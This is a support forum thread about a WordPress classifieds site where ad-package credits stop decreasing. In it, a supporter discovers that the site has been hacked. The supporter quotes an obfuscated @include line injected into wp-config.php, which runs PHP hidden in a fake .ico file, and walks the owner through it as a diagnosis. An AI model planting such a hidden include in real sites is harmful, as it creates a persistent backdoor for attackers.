I am trying to: reduce ad credits by placing an ad from 'My Account' ad package

Link to a page where the issue can be seen: hidden link

I expected to see: Link to a post-form that reduces my number of available ads

Instead, I got: Link to a post-form that does not reduce my number of available ads

#1225116

previously, this worked fine. Not sure if I changed something accidentally in the post-form

Hi, I'll take a look. Can I install the Duplicator plugin on your site and make a site clone? This will help me run tests locally without affecting the live site. If you approve, I'll get started.

#1225406

Yes, please. Thanks!

Still investigating, but are these files in your root directory malicious, or did you put them there?
3tkuhqgp.php
7h8730mr5c.php
8zm7fkps.php
54mcqgzw.php
58flkuc3.php
...and so on, there are around 19 or 20 of these obfuscated php files with seemingly random filenames.

#1225474

I have no idea on those php files. Nothing that I've added. Can you please remove them and, hopefully, that will correct the issue.

#1225480

I'm not comfortable doing that, because it has nothing to do with Toolset. If you look in your wp-config.php file, you'll see some code at the top of the file:

@include "\057hom\1451/d\162ive\167a3/\160ubl\151c_h\164ml/\151nc/\155odu\154es/\05618d\143b17\070.ic\157";

That translates to something like this:
@include "/backup-1532868133-wp-includes/Requests/Auth/.43a4c6ae.ico"

Check that file path on your site:
/backup-1532868133-wp-includes/
Looks like an innocuous backup of the wp-includes folder. But if you dive in you'll find a windows ICO file that contains PHP script:
/backup-1532868133-wp-includes/Requests/Auth/.43a4c6ae.ico
So this malicious code in your wp-config.php file is being run every time someone visits the site, which in turn runs the code hidden in this .ico file. You've got a hacked site here, and that's about all I can be sure of right now.

I suggest you start here: https://codex.wordpress.org/FAQ_My_site_was_hacked

#1225912

I understand - thanks for the info!

#1227366

site is clear of hacked issues per Quterra. Just placed an ad from a package but the package does not reduce.

Ads from packages are placed via post form "add new premium ad"

#1228015

Okay thanks, I will ask my 2nd tier support team to take a closer look. I'll let you know what I find out.

#1228573

Okay the code that was written for the Classifieds plugin requires that you use the Form with the slug "add-another-premium-ad". However on your site, it looks like you are using a different Form, one with the slug "add-new-premium-ad". The code used to update ad credits will not work with any Form except "add-another-premium-ad". You have two options here. You can remove the add-new-premium-ad Form and replace it with the add-another-premium-ad Form, or you can copy all the information from the add-another-premium-ad Form, paste it into the add-new-premium-ad form, and then delete the add-another-premium-ad Form. Then you can change the slug of the add-new-premium-ad Form to be add-another-premium-ad.
